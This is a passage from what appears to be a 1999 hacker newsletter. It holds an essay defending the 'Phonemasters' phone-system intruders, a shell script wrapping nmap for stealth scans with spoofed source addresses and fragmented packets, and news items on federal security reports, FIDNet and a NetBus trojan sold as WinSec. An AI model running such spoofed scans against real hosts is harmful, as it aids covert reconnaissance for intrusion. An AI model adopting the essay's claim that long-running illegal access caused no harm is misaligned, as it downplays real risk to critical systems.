      talking on the phone. We had maybe ten conversations over a year long
      period. Each one consisted of an hour or more of us discussing phone
      systems and the intricacies  involved.

      While i didn't know them as close friends, we were on a first name basis
      during those conversations we had. Back then, a first name was a sure sign
      of trust and/or respect. They trusted me, I respected and trusted them
      implicitly. It started out talking with 'T' and eventually lead to a handful of
      conversations with 'G' (two of the three 'phonemasters').

      Ethics

      Simons says in his article that the Phonemasters had "Unlimited potential for
      harm". While this is technically true, consider the long haul. Over five years
      of having this powerful access, and what harm was done? None. Like so
      many hackers, being malicious is not in their book. A sense of power and
      exploring maybe, but causing harm to anyone just wasn't considered. Simons
      goes on to tell us about FBI evidence that alleges they had planned on
      breaking into the National Crime Information Center (NIPC). So? They
      wouldn't be the first to compromise the FBI's pride and joy.

      While the three 'phonemasters' were close friends, they periodically reached
      out to talk to others. They were often imparting new bits of knowledge to
      newcomers to hacking -- they enjoyed teaching. None of them bragged
      about their skills, demanded tribute or did anything indicating they had large
      egos. It was these external talks that lead to the incident Simons refers to on
      January 23. He writes: "On Jan. 23, while probing a U S West telephone
      database, Cantrell, Bosanac, Lindsley and others stumbled over a list of
      telephone lines that were being monitored by law enforcement. On a lark,
      they decided to call one of the people -- a suspected drug dealer, says Morris
      -- and let him know his pager was being traced by the police." The idea of
      notifying the owners of traced lines actually came from another Mid West
      hacker who shared the deed on a conference call with two of the
      phonemasters. Sorry, you can't blame them for that idea.

      Side affects of their raid

         "Morris hastily arranged for an FBI raid. On Feb. 22, 1995, agents raided
      Cantrell's home, Lindsley's college dorm room, and burst into Bosanac's
      bedroom in San Diego."

      I remember this night quite well. A couple hackers I knew were in an
      absolute state of panic. They were baffled over the raid and kept wondering
      why they weren't recipients of an FBI visit of their own. One of the hackers
      admitted to me that he too had been hacking some of the same phone
      computers that the phonemasters had. He had even found printouts of their
      activity in the trash can of a U.S. West Central Office and later confirmed it
      was their activity that generated these printouts.

      Another hacker in touch with the phonemasters paid me a visit that night. He
      was openly sweating and a little out of breath. I quickly found out that he had
      spent the day cleaning his place, in fear of impending FBI raid. He had
      thrown out over forty technical manuals detailing the use of various phone
      systems. He had also thrown out a wide range of hardware and other
      extraneous equipment he felt he no longer needed. Some of his friends were
      not thrilled with his decision. A veritable gold mine of information was lost
      forever.

      Co-conspirators

      Three individuals are being charged with crimes related to this long term
      intrusion. After half a decade of running through phone, credit and every
      other system out there, a question emerges. Did they do it alone? Of course
      not.

      During one of my phone conversations with 'T', he told me about a night he
      was dabbling on some system. He typed in a long command and received an
      error message. Trying again and altering his syntax yielded no success
      either. As he sat there pondering the correct command to type in, someone
      else on the system did it for him. Alarmed at first, he wondered who could
      have done it for him. Perhaps one of the other phonemasters he thought?
      Not this time, instead, a legitimate phone technician was the one to help. He
      went on to describe the hours of technical help the phone company employee
      gave him. The whole time fully aware that his student had no right to be on
      the system.

      The sum of the charges...

      While the three 'phonemasters' did break laws by intruding into these
      sensitive and critical systems, there are a few things we need to remember.
      If such vital and life saving systems are vulnerable to this widespread and
      lengthy hack, why are we relying on them? Why hasn't the government put
      more resources or some form of standards on these mission critical systems?

      Based on my limited conversations with the `phonemasters´ I can say it is
      somewhat comforting knowing these three were involved rather than
      malicious hackers. More importantly, that these technically brilliant hackers
      were at the keyboard. The systems they were in, like the AT&T 1AESS
      switch, weren´t the most fault tolerant systems. Commands that go awry
      have a tendency to leave thousands of people without phone service. Novice
      hackers finding themselves in the same situations the 'phonemasters' enjoyed
      could have presented a real threat to citizens everywhere.

      When you read these articles, remember that the sum of their charges do not
      paint a full picture of what kind of people they really are.
      
      @HWA
      
33.0  Twstdpair's [HWA] nmap scanner frontend
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      #!/bin/sh
      #
      # scan.sh  v1.0b
      #
      # Written by Twstdpair [HWA] greets to the HWA gang and everyone on
      # #hwa.hax0r.news on efnet...
      #
      # This shell script created with VIX (Also written by The Twisted Pair)
      #
      # Internal vars:
      #
      #_debug=1
      _longdate=`date "+%A %B %d, %Y"`
      _time24=`date +%T`
      _binbase=$HOME/bin
      _scriptname=${0#${_binbase}/}
      
      #
      # Builtin debug function:
      #
      if [ ! -z $_debug ]; then
      	echo "_scriptname="$_scriptname
      	exit 2
      fi
      
      #
      # Comment this out or remove it if your script takes no parameters
      #
      if [ $# -eq 0 ]; then
      	echo "usage:" $_scriptname "[-tusfxnp] [-log] ip"
              exit 1
      fi
      
      #
      # Script name: scan
      # Created by : The Twisted Pair
      # Created on : Thursday October 07, 1999 at 15:48:37
      #
      # ----------------------------------------------------
      # Option	Scan Type	Stealth?   Sp00f Opts?
      # ----------------------------------------------------
      #   t (default)	TCP		  No		No
      #   u		UDP		  No		No
      #   p		Ping		  No		No
      #   s		SYN		Somewhat	Yes
      #   f		FIN		  Yes		Yes
      #   x		Xmas-Tree	  Yes		Yes
      #   n		NULL		  Yes		Yes
      
      # Modify these to suit what you want.
      # Check out the -e param in spoof_presets to make sure its using the correct device
      
      base_opts="-Ov"
      pkt_frag_presets="-f"
      spoof_presets="-S 192.168.0.2 -e eth0 -P0"
      
      for user_param in "$@" ; do
      	case $user_param in
      		-log )
      			log_yn="y" ;;
      		-t   )
      			scan_opts="-sT"
      			pkt_frag_opts=""
      			spoof_opts="" ;;
      		-u   )
      			scan_opts="-sU"
      			pkt_frag_opts=""
      			spoof_opts="" ;;
      		-s   )
      			scan_opts="-sS"
      			pkt_frag_opts=$pkt_frag_presets
      			spoof_opts=$spoof_presets ;;
      		-f   )
      			scan_opts="-sF"
      			pkt_frag_opts=$pkt_frag_presets
      			spoof_opts=$spoof_presets ;;
      		-x   )
      			scan_opts="-sX"
      			pkt_frag_opts=$pkt_frag_presets
      			spoof_opts=$spoof_presets ;;
      		-n   )
      			scan_opts="-sN"
      			pkt_frag_opts=$pkt_frag_presets
      			spoof_opts=$spoof_presets ;;
      		-p   )
      			scan_opts="-sP"
      			pkt_frag_opts=""
      			spoof_opts="" ;;
      	esac
      done
      
      for i do bad_host_ip="$i"; done
      
      if [ `expr "$bad_host_ip" : '-*'` -gt 0 ]; then
      	echo "usage:" $_scriptname "[-tusfxnp] [-log] ip"
      	exit 1
      fi
      
      if [ ! -z $log_yn ]; then
      	log_opts="-o ~/shitlist/"$bad_host_ip".log"
      fi
      
      nmap $base_opts $scan_opts $spoof_opts $pkt_frag_opts $log_opts $bad_host_ip
      

      
      
      @HWA  
   
34.0  Another GAO Report Says US Vulnerable 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by evilwench 
      In a truly shocking move the GAO released yet another
      report yesterday titled ""Critical Infrastructure
      Protection: Comprehensive Strategy Can Draw on Year
      2000 Experience" which states the government's
      computer infrastructure remains dangerously vulnerable
      to terrorist attack. Perhaps if they quit writing specially
      commissioned reports and start tackling the problems
      with actions instead of rhetoric they could see some
      progress. 

      CNN 
      http://www.cnn.com/TECH/computing/9910/06/feds.easy.target.idg/index.html
      
      Feds still vulnerable to
      cyberattacks 

      October 6, 1999
      Web posted at: 10:41 a.m. EDT (1441 GMT)

      by Keith Perine 

      (IDG) -- Despite the efforts of several federal
      agencies and task forces to fight cybercrime, the
      government's computer infrastructure remains
      dangerously vulnerable to attack from terrorists,
      computer viruses and saboteurs, according to a
      report released today by the General Accounting
      Office.

      The study, entitled "Critical Infrastructure
      Protection: Comprehensive Strategy Can Draw
      on Year 2000 Experience," says that computer networks maintained by the
      Department of Defense, the Internal Revenue Service and 20 other major
      federal agencies don't have enough firewalls and access controls to guarantee
      protection against outside assault.

      "A widespread, well-organized attack could severely disrupt or damage critical
      systems," the report says. 

      The warning follows governmental efforts to
      step up computer security. In May 1998,
      President Clinton issued an executive order
      which directed federal agencies to coordinate
      their efforts with the private sector to combat
      cybercrime. The Federal Bureau of
      Investigation has since established a special
      cybercrime unit. And last Friday, the Treasury
      Department announced that it was joining
      with several major banks and investment
      firms to launch its own crime-watch unit to
      monitor the electronic financial industry.

      But the GAO warned today that those efforts
      suffered from a lack of overall coordination
      and central planning. The agency is worried
      that resources are being spread too thinly, and
      that some work might be duplicated
      unnecessarily. Unless a central agency or
      group can spearhead the government's
      efforts, the steps taken will be "unfocused,
      inefficient and ineffective," according to the
      report.

      "You've got a lot of people with a lot of good
      intentions," says GAO spokesperson Jean
      Voltz. "But there's no cohesive strategy."

      The agency's report stops short of making
      specific recommendations for how to focus the government's efforts.

      The report was commissioned by Sen. Robert Bennett (R-Utah), the chair of
      a special Senate committee that's monitoring the government's technical
      preparations for the year 2000. Bennett asked the GAO to size up the
      government's computer security risks as it observed those preparations.

      This isn't the first time the GAO has sounded the alarm. In several studies
      since September 1996, the agency has called poor information security a
      "widespread federal problem."

      Earlier this year, GAO auditors successfully penetrated the National
      Aeronautics and Space Administration's computer system. In August, the
      GAO reported that several Defense Department databases have already been
      compromised by cybercriminals.

      In fact, according to the CERT Coordination Center, established by the
      Defense Department in 1988 to track cybercrime, the number of reported
      security breaches in U.S. computer systems has skyrocketed, reaching 4,398
      in the first half of this year, up from 1,334 in all of 1993.

      The Clinton administration is working on an action plan to coordinate the
      government's security measures. The report, which has been delayed several
      times, is expected by the end of the month. 
      
      @HWA
      
35.0  FidNet Gets Funding 
      ~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by evilwench 
      The House Appropriations Committee recently eliminated
      funding for the proposed federal intrusion detection
      surveillance system (FIDNet). The White House,
      however, has found other funding through a $611 million
      mid-year fiscal 2000 budget amendment. The Office of
      Management and Budget sent the request to congress
      which included $39 million for enhancing computer
      security and critical infrastructure protection within
      several agencies. $8.4 million of which will be used for
      the Proposed FIDNet system to be run by the General
      Services Administration. 

      Government Executive Magazine     
      http://www.govexec.com/dailyfed/1099/100699b2.htm
      
      October 6, 1999

      DAILY BRIEFING

      White House finds funding for
      security network

      By Bara Vaida, National Journal's Technology Daily

      The House Appropriations Committee may have eliminated
      funding for the Clinton Administration's proposed federal
      intrusion detection surveillance system (FIDNet), but the White
      House found another vehicle for funding through a $611 million
      mid-year fiscal 2000 budget amendment. 

      On Sept. 21, the White House's Office of Management and
      Budget sent up the proposed request to Congress, including $39
      million for enhancing computer security and critical
      infrastructure protection within several agencies. The president
      requested $8.4 million for FIDNet to be run by the General
      Services Administration. 

      "The proposal would, through the use of additional staff and
      enhanced technology, improve federal agencies' ability to detect
      computer attacks and unauthorized instructions, share attack
      warnings and related information across agencies and respond to
      attacks," according to the written proposal. 

      In July, the White House revealed its plan to create FIDNet,
      which is aimed at centralizing computer intrusion detection. It
      immediately was criticized by privacy and civil liberties groups
      and some members of Congress who were concerned that the
      system would result in federal surveillance of all computer
      networks. In September, House appropriators denied funding
      designated for FIDNet in the Commerce, State and Justice
      appropriations bill in August. 

      Administration officials have said that FIDNet would monitor
      only federal networks, though an early draft of the plan
      envisioned that eventually private networks would also be
      overseen, said Richard Diamond, spokesman for House Majority
      Leader Dick Armey, R-Texas. 

      Jon Jennings, acting assistant attorney general for legislative
      affairs at the Justice Department, told Armey in a Sept. 22 letter
      that the media had "mischaracterized" the FIDNet proposal, but
      Armey's concerns have not been assuaged. 

      "They have made some steps backward to address the concerns
      we raised over the program, but we aren't satisfied quite yet that
      they are taking privacy concerns fully… We want them to say in
      absolute terms that (FIDNet) will not be used in anyway to
      cover private networks," Diamond said. 

      Armey has given the administration a deadline of Oct. 15 to
      respond fully to his concerns, Diamond said.  
            
      @HWA

36.0  Softseek.com Distributes Trojan Horse 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by pchelp 
      An application distributed by Softseek.com, a ZDNet
      web site, called WinSec v1.01 claims to be designed to
      restrict users from accessing certain Windows features.
      In actuality this program is a Trojan Horse disguising
      NetBus. NetBus is a remote administration tool that
      could be used by a malicious attacker to gain control of
      an unsuspecting users machine. Softseek, has failed to
      respond to questions about the incident. 

      PC Help Advisory      
      http://www.nwi.net/~pchelp/security/alerts/softseek.htm
      
      
      
      FOR IMMEDIATE RELEASE
      Thursday, 7 October 1999 1900:00 PDT
      
      
                     ZDNET SITE SENDS USERS TO BACKDOOR PROGRAM
      
      Softseek.Com Promotes Trojan Horse to Unwitting Users
      
      Among the security applications recommended by Softseek.com at its 
      popular download site is a well-known and very capable backdoor program 
      called NetBus.
      
      The trojan horse program is being deceptively promoted as WinSec v1.01, 
      "a Windows security program designed to restrict users from accessing 
      certain Windows features."  If an unsuspecting user downloads and runs 
      the program, it immediately installs hidden backdoor access, opening 
      the victim's computer to comprehensive intrusion via the Internet link.
      
      The Softseek representation displays a screen shot of a seemingly 
      purposeful application, and describes it in some detail.  It's unknown 
      whether a legitimate application by the name "WinSec" actually exists.
      
      At last check (7PM PDT 7 October), and despite user complaints, 
      Softseek still features the bogus program at URL:
      
      http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/4index.html
      
      The bogus review appears at:
      
      http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/Review_24937_index.html
      
      Links lead the Softseek site's visitors to an anonymous website hosted 
      by Xoom.com.  The backdoor program is in clear violation of Xoom's 
      Terms of Service.  Document dates indicate the site has existed in 
      its present form since September 1st 1999.  Softseek has featured 
      WinSec since at least June 14th of this year.
      
      The originator's identity is nowhere to be seen and may well prove 
      impossible to determine.
      
      Given the high-traffic nature of the Softseek site, the hostile 
      application could easily have been accessed by tens of thousands of 
      victims over the past month.
      
      To make matters worse, one victimized user reports that a Softseek 
      representative forwarded his complaint, with his email address, to the 
      trickster.  This places the victim at potential risk of retribution.
      
      The incident raises serious questions about Softseek's screening 
      procedures, its handling of complaints, and the legitimacy of its other 
      offerings.  Users who complain to Softseek about hostile applications 
      may be placed at further risk when their identities are exposed to 
      malefactors.
      
      Softseek, a ZDNet company, has failed to respond to questions about the 
      incident.
      
      A ZDNet representative was notified by phone of the problem, and 
      promised action before 6PM this evening.  But the Softseek site remains 
      unchanged and a promised callback from ZDNet never materialized.
      
      An HTML version of this alert is at:
      http://www.nwi.net/~pchelp/security/alerts/softseek.htm
      
      Please contact pchelp@nwi.net for further details.
      
      
      @HWA

37.0  Global Jam Echelon Day Update 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by James 
      Evidently there has been some confusion as to when
      the Global Jam Echelon day will take place. The now
      confirmed date is October 21st and not October 18th as
      previously reported here and elsewhere. Echelon is a
      vast mythical eavesdropping network set up by various
      governments including the US, UK, Canada, Australia
      and others in order to monitor the world's electronic
      communications (telephone, email, fax, etc.) for
      subversive keywords. On October 21st netizens around
      the globe are implored to send out at least one email
      with at least one of the key words. While the actual list
      of words is not known it is assumed that words such as
      these will trigger the system: Kill FBI CIA NSA IRS ATF
      BATF DOD Militia gun weapon manifesto terrorism bomb
      Special Forces SOF Delta Force constitution Mossad
      NASA MI5 revolution terrorist economy 

      Wired 
      http://www.wired.com/news/news/politics/story/22102.html
      (printed elsewhere this issue)
      
      Global Jam Echelon Day
      http://www.echelon.wiretapped.net/
      
38.0  NSA Document Retrieval Capabilities 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com


      contributed by spiderus 
      Considering the technology available for document
      retrieval it is doubtful that the Global Jam Echelon Day
      will have any impact if the messages only contain
      keywords. These links indicate that the NSA's (and
      probably other agencies) information sorting capability
      (n-gram analysis) is extremely more advanced than
      simple keyword grabbing. This technology isn't new
      either it has been available publicly for license since
      1993. Considering the computing power available to
      high-level government agencies in conjunction with this
      document retrieval technology it is doubtful that the
      plan to jam or overflow the Echelon system will have a
      large effect. (Can't hurt to try though.) 

      National Security Agency - Technology Overview
      http://www.nsa.gov:8080/programs/tech/factshts/infosort.html
      
      Patent on method of retrieving documents by topic       
      http://164.195.100.11/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=/netahtml/srchnum.htm&r=1&f=G&l=50&s1='5,418,951'.WKU.&OS=PN/5,418,951&RS=PN/5,418,951
      
      Information Sorting and Retrieval by Language or Topic

      TECHNICAL DESCRIPTION:  This technique is an extremely simple, fast,
      completely general method of sorting and retrieving machine-readable text
      according to language and/or topic.  The method is totally independent of the
      particular languages or topics of interest, and relies for guidance solely upon
      examples (e.g., existing documents, fragments, etc.)  provided by the user.  It
      employs no dictionaries, keywords, stoplists, stemming, syntax, semantics, or
      grammar; nevertheless, it is capable of distinguishing among closely-related
      topics (previously considered inseparable) in any language, and it can do so
      even in text containing a great many errors (typically 10-15% of all
      characters).  The technique can be quickly implemented in software on any
      computer system, from microprocessor to supercomputer, and can easily be
      implemented in inexpensive hardware as well.  It is directly scaleable to very
      large data sets (millions of documents).  U.S. Patent No. 5,418,951.

      COMMERCIAL APPLICATION:

           Language and topics-independent sorting and retrieval of documents
           satisfying dynamic criteria defined only by existing documents. 
           Clustering of topically related documents, with no prior knowledge of the
           languages or topics that may be present.  If desired, this activity can
           automatically generate document selectors. 
           Specialized sorting tasks, such as identification of duplicate or
           near-duplicate documents in a large set. 

      Released:  1993
      
      -=-
      
      
       United States Patent 
                                                                                                                         5,418,951 
       Damashek 
                                                                                                                      May 23, 1995 
      
      
      Method of retrieving documents that concern the same topic 
      
                                                                 Abstract
      
      A method of identifying, retrieving, or sorting documents by language or topic involving the steps of creating an n-gram array for each document in a database, parsing
      an unidentified document or query into n-grams, assigning a weight to each n-gram, removing the commonality from the n-grams, comparing each unidentified document
      or query to each database document, scoring the unidentified document or query against each database document for similarity, and based on the similarity score,
      identifying retrieving, or sorting the document or query with-respect to language or topic. 
      
      
       Inventors: 
                    Damashek; Marc (Hampstead, MD) 
       Assignee: 
                    The United States of America as represented by the Director of National (Washington, DC) 
       Appl. No.: 
                    316495
       Filed: 
                    September 30, 1994
      
      
       U.S. Class:
                                                                                                         395/600; 364/DIG.1; 364/DIG.2 
       Intern'l Class: 
                                                                                                                        G06F 007/00
       Field of Search: 
                                                                                                             395/600 364/DIG. 1,DIG. 2 
      
      
                                                      References Cited [Referenced By]
      
                                                           U.S. Patent Documents
       4754489
                                      Aug., 1988
                                                                    Bokser
                                                                                                                           382/40. 
       5031206
                                      Jul., 1991
                                                                    Riskin
                                                                                                                           379/97. 
       5062143
                                      Oct., 1991
                                                                    Schmitt
                                                                                                                           382/36. 
       5150425
                                      Sep., 1992
                                                                    Martin et al.
                                                                                                                           382/14. 
       5182708
                                      Jan., 1993
                                                                    Ejiri
                                                                                                                           364/419. 
       5251131
                                      Oct., 1993
                                                                    Massand et al.
                                                                                                                           364/419. 
       5276741
                                      Jan., 1994
                                                                    Aragon
                                                                                                                           382/40. 
       5293466
                                      Mar., 1994
                                                                    Bringmann
                                                                                                                           395/114. 
      
      
      Primary Examiner: Black; Thomas G. 
      Assistant Examiner: Homere; Jean R. 
      Attorney, Agent or Firm: Maser; Thomas O. Morelli; Robert D. 
      
                                                             Parent Case Text
      
      
      
      This Application is a Continuation of U.S. patent application Ser. No. 07/932,522, filed Aug. 20, 1992, which is now abandoned. 
      
                                                                 Claims
      
      
      
      1. A method of retrieving at least one document that concerns the same topic as a sample of text by comparing the at least one document to the sample of text,
      comprising the steps of: 
      
      a) constructing a first list of unique character groupings that occur in one of the at least one document for each of the at least one document; 
      
      b) constructing a second list of unique character groupings that occur in the sample of text; 
      
      c) assigning a first numerical value to each unique character grouping on each first list, where the first numerical value assigned to one of the unique character groupings
      is equal to the number of occurrences of the unique character grouping within the document divided by the total number of character groupings within the document; 
      
      d) assigning a second numerical value to each unique character grouping on the second list, where the second numerical value assigned to one of the unique character
      groupings is equal to the number of occurrences of the unique character grouping within the sample of text divided by the total number of character groupings within the
      sample of text; 
      
      e) constructing a third list of unique character groupings that occur in the at least one document and the sample of text; 
      
      f) assigning a third numerical value to each unique character grouping on the third list, where the third numerical value assigned to one of the unique character groupings
      is equal to the sum of the first numerical values of the unique character grouping from all of the first lists divided by the total number of first lists; 
      
      g) replacing each first numerical value on each first list with a corresponding fourth numerical value, where the fourth numerical value for one of the unique character
      groupings is equal to the first numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; 
      
      h) replacing each second numerical value on the second list with a corresponding fifth numerical value, where the fifth numerical value for one of the unique character
      groupings is equal to the second numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; 
      
      i) calculating a score for each at least one document with respect to the sample text, where said score is the summation of the products of the fifth numerical values
      times the corresponding fourth numerical values divided by the square root of the products of the summation of the squares of the fifth numerical values times the
      summation of the squares of the corresponding fourth numerical values; and 
      
      j) retrieving the documents from the at least one document that obtained a calculated score in the previous step that is above a user-definable score, where each
      retrieved document is deemed to concern the same topic as the sample of text. 
      
      2. The method of claim 1, wherein said step of constructing a first list of unique character groupings comprises constructing a first list of unique character groupings
      where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character
      grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 
      
      3. The method of claim 1, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character
      groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive
      character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 
      
      4. The method of claim 1, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 
      
      5. The method of claim 1, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 
      
      6. The method of claim 1, further comprising the step of removing multiple spaces in the sample text and the at least one document. 
      
      7. The method of claim 2, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character
      groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive
      character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 
      
      8. The method of claim 7, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 
      
      9. The method of claim 8, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 
      
      10. The method of claim 9, further comprising the step of removing multiple spaces in the sample text and the at least one document. 
      
                                                                Description
      
      
      
      BACKGROUND OF THE INVENTION 
      
      1. Field of the Invention 
      
      This invention relates to a document retrieval method, and more particularly to a document retrieval method capable of full text searching without the need for keyword
      or context-based information. This method can be used to identify, retrieve, and sort documents by topic or language. This method is also useful for identifying, retrieving,
      and sorting any form of communication such as acoustic signals (e.g., speech) and graphic symbols (e.g., pictures) that can be represented in machine readable format. 
      
      2. Description of Related Art 
      
      In "DARPA Eyes Smart Text Sifters", a published article by R. Colin Johnson in Electronic Engineering Times, Feb. 17, 1992, pp. 35 it was indicated that extensive
      research efforts have been expended to find better ways of searching textual databases in order to retrieve documents of concern to the user. It was indicated that
      several fundamental problems stand in the way of realizing any meaningful breakthroughs. 
      
      One technique to improve searches has been to create specialized hardware that can process information faster. The problem with this approach is that the
      improvements in processing speed have not kept pace with the rate at which database information has expanded. It was mentioned that a fundamental theoretical
      breakthrough was required to improve the way information is retrieved from large databases. 
      
      Conventional information retrieval systems are still based on using keywords or phrases with operators (e.g., and, or, not) to identify documents of interest. The problem
      with this technique is that documents may contain a synonym of the keyword rather than the keyword itself (e.g., car vs. automobile), or an inflected form of the
      keyword (e.g., retrieving vs. retrieve). Such systems are typically sensitive to spelling or data-transmission errors at the input. The operators may also be difficult to use.
      Additional problems include identifying appropriate keywords, identifying appropriate synonyms, and retrieving either insufficient, voluminous and/or extraneous
      documents. Typically an extensive table of synonyms is used to mitigate these problems. But this method increases memory requirements and slows processing time. 
      
      Another problem with keyword searches is that the meaning of the keyword usually depends on the context in which it is used. Therefore without some indication of the
      desired context of the keyword, the chances of retrieving unwanted documents are great. Prior approaches to document retrieval have attempted to overcome this
      problem by adding contextual information to the search using techniques such as context vectors, conceptual graphs, semantic networks, and inference networks. These
      techniques also increase memory requirements and slow processing time. Adding context information is also a task requiring significant time of a trained individual. 
      
      In "Global Text Matching for Information Retrieval", a published article by G. Salton and C. Bucklay in Science, Vol. 253, Aug. 30, 1991, pp. 1012-1015, it has been
      indicated that text analysis using synonyms is cumbersome and that text analysis using a knowledge-based approach is complex. This same article indicates that text
      understanding must be based on context and the recognition of text portions (i.e., sections of text, paragraphs or sentences). 
      
      In "Developments in Automatic Text Retrieval", a published article by G. Salton in Science, Vol. 253, Aug. 30, 1991, pp. 974-980, the present state of document retrieval
      is summarized. It indicates that text analysis is a problem because there is a need to retrieve only documents of interest from large databases. The typical solution to this
      problem has been to generate content identifiers. This has been done because the meaning of a word cannot adequately be determined by consulting a dictionary without
      accounting for the context in which the word is used. It was indicated that the words in the text can also be used for context identification. Such retrieval systems are
      defined as full text retrieval systems. 
      
      In "N-gram Statistics for Natural Language Understanding and Text Processing", a published article by C. Suen in IEEE Transactions On Pattern Analysis and Machine
      Intelligence, Vol. PAMI-1, No. 2, April 1979, two methods of processing natural language were described, one using keywords and a dictionary and one using n-grams.
      In the keyword approach, words are compared. In the n-gram approach, strings of letters are compared. Comparing strings of letters is faster and requires less memory
      than a keyword and dictionary method. 
      
      In U.S. Pat. No. 5,020,019, entitled "Document Retrieval System", a system is described that searches documents using keywords with a learning feature that allows the
      user to assign weight to the different keywords in response to the result of a previous search. The present invention does not use a keyword approach. 
      
      In U.S. Pat. No. 4,985,863, entitled "Document Storage and Retrieval", a method is described where documents are stored in sections. Sections of text, rather than
      keywords, are then used to retrieve similar documents. The present invention does not a keyword or sectioning approach. 
      
      In U.S. Pat. No. 4,849,898, entitled "Method and Apparatus to Identify the Relation of Meanings Between Words in Text Expressions", a method is described that uses
      a letter-semantic analysis of keywords and words from a document in order to determine whether these words mean the same thing. This method is used to retrieve
      documents or portions of documents that deal with the same topic as the keywords. The present invention does not use semantic analysis. 
      
      In U.S. Pat. No. 4,823,306, entitled "Text Search System", a method is described that generates synonyms of keywords. Different values are then assigned to each
      synonym in order to guide the search. The present invention does not generate synonyms. 
      
      In U.S. Pat. No. 4,775,956, entitled "Method and System for Information Storing and Retrieval Using Word Stems and Derivative Pattern Codes Representing Families
      of Affixes", a method is described that uses a general set of affixes that are used to modify each keyword stem. This method reduces memory requirements that would
      otherwise be needed to store the synonyms of each keyword. The present invention does not modify keyword stems. 
      
      In U.S. Pat. No. 4,358,824, entitled "Office Correspondence Storage and Retrieval System", a method is described that reduces documents to abstracts by recording the
      keywords used in each document. Keywords are then used to search for the documents of interest. The present invention does not replace the text of stored documents
      with keyword abstracts. 
      
      SUMMARY OF THE INVENTION 
      
      It is an object of this invention to provide a method of identifying the language that a given document is written in. 
      
      It is another object of this invention to provide a method of retrieving documents, in a particular language, from a database by topic. 
      
      It is another object of this invention to provide a method of sorting documents in a database by language. 
      
      It is another object of this invention to provide a method of sorting documents in a database by topic. 
      
      These objects are achieved by a new approach to document identification, retrieval, and sorting. The term documents refers to machine readable text, speech or
      graphics. The present invention uses a pattern recognition technique based on n-gram comparisons among documents instead of the traditional keyword or context-based
      approach. The removal of commonality among database documents provides sensitive discrimination among documents while allowing for a reduction in memory
      requirements (as compared with keyword and dictionary methods) and an increase in performance. The user can set the threshold used to determining whether
      documents are similar. 
      
      BRIEF DESCRIPTION OF THE DRAWINGS 
      
      FIG. 1 is a flow chart of the language identification algorithm; 
      
      FIG. 2 is a flow chart of the identification algorithm for language and topic; 
      
      FIG. 3 is a sample reference document for the Greenlandic language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of
      each 2-gram; 
      
      FIG. 4 is a sample reference document for the Hawaiian language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of each
      2-gram; 
      
      FIG. 5 is a list of all the unique 2-grams from the reference documents of FIG. 3 and FIG. 4, the weight for each 2-gram, and the commonality weight that each 2-gram
      exhibits within the reference documents; 
      
      FIG. 6 is a list of the commonality-removed weights for each unique 2-gram within the Greenlandic reference document; 
      
      FIG. 7 is a list of the commonality-removed weights for each unique 2-gram within the Hawaiian reference document; 
      
      FIG. 8 is a sample of an unidentified language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, the weight of each 2-gram, and the
      commonality-removed weight of each 2-gram; 
      
      FIG. 9 shows the score of the unidentified text of FIG. 8 with respect to the Greenlandic reference document of FIG. 3; 
      
      FIG. 10 is a flow chart of the retrieval algorithm by language, and topic; and 
      
      FIG. 11 is a flow chart of the database sorting algorithm by language, and topic. 
      
      DESCRIPTION OF PREFERRED EMBODIMENTS 
      
      The present invention describes a method for identifying, searching, and sorting documents. This method yields a sensitive, fast, and economical method for language
      identification, topic identification, document retrieval and document sorting. Throughout this specification and the accompanying claims, the term document will be used
      to refer to a set of information in machine readable format. The document may consists of text, speech or graphics. 
      
      The method of the present invention can be easily implemented in any programming language or in hardware to perform such difficult tasks as identifying topics of
      documents, even if these documents are written in ideographic languages such as Japanese. This method can also be used to sort documents in a database into like
      categories without the need for prior identification of the categories or the documents contained therein. 
      
      Instead of relying on keywords, synonym tables, or contextual information, the objects of the present invention are accomplished by a pattern recognition technique. The
      present invention is based upon the hypothesis that documents that are similar in language and/or topic look alike, in that they tend to contain many of the same n-grams
      (i.e., consecutive runs of n characters). They look alike not just in keywords but in all words used. This hypothesis suggests the rather startling conclusion that the topic
      of a document can reliably be deduced by enumerating the n-grams contained therein and comparing the result of that operation with the enumerated n-grams found in
      another ("reference") document. 
      
      This realization allows for simplifications in the search algorithm used to identify related documents. These simplifications result in the ability to classify documents
      regardless of the language in which they are written. A high error ("garble") rate in the original text is also tolerated. The maximum tolerable error rate for dissimilar
      languages is higher than the maximum tolerable error rate for similar languages. For example, the maximum tolerable error rate for Swahili text when compared against
      Swedish text may be as high as 25% without causing erroneous results whereas the maximum tolerable error rate for Russian text when compared against Czech text
      may only be as high as 15% without causing erroneous results. 
      
      FIG. 1 outlines a language identification algorithm. The first step consists of parsing text, which is written in an unidentified language, into n-grams. N-grams are
